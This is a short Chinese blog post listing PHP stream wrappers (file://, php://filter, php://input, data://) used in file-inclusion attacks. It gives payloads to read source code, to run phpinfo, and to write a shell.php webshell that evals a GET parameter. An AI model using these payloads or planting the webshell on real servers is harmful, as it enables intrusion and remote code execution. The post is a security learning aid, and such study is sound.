当前位置: 首页 > article >正文

php常用伪协议整理

前言

欢迎来到我的博客

个人主页:北岭敲键盘的荒漠猫-CSDN博客

本文整理php常见的伪协议

php伪协议介绍

直观点,就是php可以识别的协议。

类似于我们访问网站的http协议,我们用浏览器访问我们自己本地文件的file协议等。

php可以识别这些协议,并且访问指定的资源。

PHP伪协议的版本以及适用条件

allow_url_fopen与allow_url_include为php的两个配置选项。

以下为他们的适用条件以及版本条件。

其他语言支持的情况(老图了)。

实现文件读取的协议

file协议

作用:访问绝对路径的文件,并展现内容

需要绝对路径。

php协议

作用:能够读取出数据(需要自行解个码)

payload:

php://filter/read=convert.base64-encode/resource=文件相对路径

实现文件写入的协议

php input协议

作用:有执行代码的能力,可以执行写入文件的 代码

payload:

php://input

POST:

<?php fputs(fopen('shell.php','w'),'<?php @eval($_GET[cmd]); ?>'); ?>

php write协议

作用:写入一个文件

局限性:他需要对方使用file_put_contents($name,$contents)才能执行

payload:

php://filter/write=convert.base64-encode/resource=phpinfo.php

实现代码执行的协议

PHP input协议

作用:执行后续代码

php://input POST:<?php phpinfo();?>

data协议写入

作用:执行后面代码,一个加密,一个不加密。

data://text/plain,<?php phpinfo();?>

data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b


http://www.kler.cn/a/407967.html

相关文章:

  • 瑞佑液晶控制芯片RA6807系列介绍 (三)软件代码详解 Part.10(让PNG图片动起来)完结篇
  • JavaScript数据类型判断之Object.prototype.toString.call() 的详解
  • 【Git】:Git基本操作
  • 准备阶段 Profiler性能分析工具的使用(一)
  • Java NIO 核心知识总结
  • uni-app 认识条件编译,了解多端部署
  • 从〇开始深度学习(0)——背景知识与环境配置
  • Spring框架深度剖析:特性、安全与优化
  • [代码随想录Day21打卡] 669. 修剪二叉搜索树 108.将有序数组转换为二叉搜索树 538.把二叉搜索树转换为累加树 总结篇
  • tomcat 后台部署 war 包 getshell
  • IntelliJ+SpringBoot项目实战(十)--常量类、自定义错误页、全局异常处理
  • 3D超声重建技术
  • C#里怎么样检测文件的属性?
  • 《Spring Boot:快速构建应用的利器》
  • 【青牛科技】 GC2803:白色家电与安防领域的卓越驱动芯片可替代ULN2803
  • stm32如何接收舵机的控制信号(而不是控制舵机)
  • 【AI】kimi深度版的荣誉之战(fail)
  • 软件测试面试之重要的名词解释
  • 大模型上层Agent系统思考
  • Perforce《2024游戏技术现状报告》Part3:生成式AI、版本控制、CI/CD等游戏技术的未来趋势与应用
  • FreeSWITCH 简单图形化界面34 - 网络环境安全的情况下,进行任意SIP注册
  • 案例研究|阿特斯的JumpServer分布式部署和多组织管理实践
  • 摄像机视频分析软件下载LiteAIServer视频智能分析平台玩手机打电话检测算法技术的实现
  • P2TR(Taproot 交易)和Musig2
  • 51c深度学习~合集8
  • react-amap海量点优化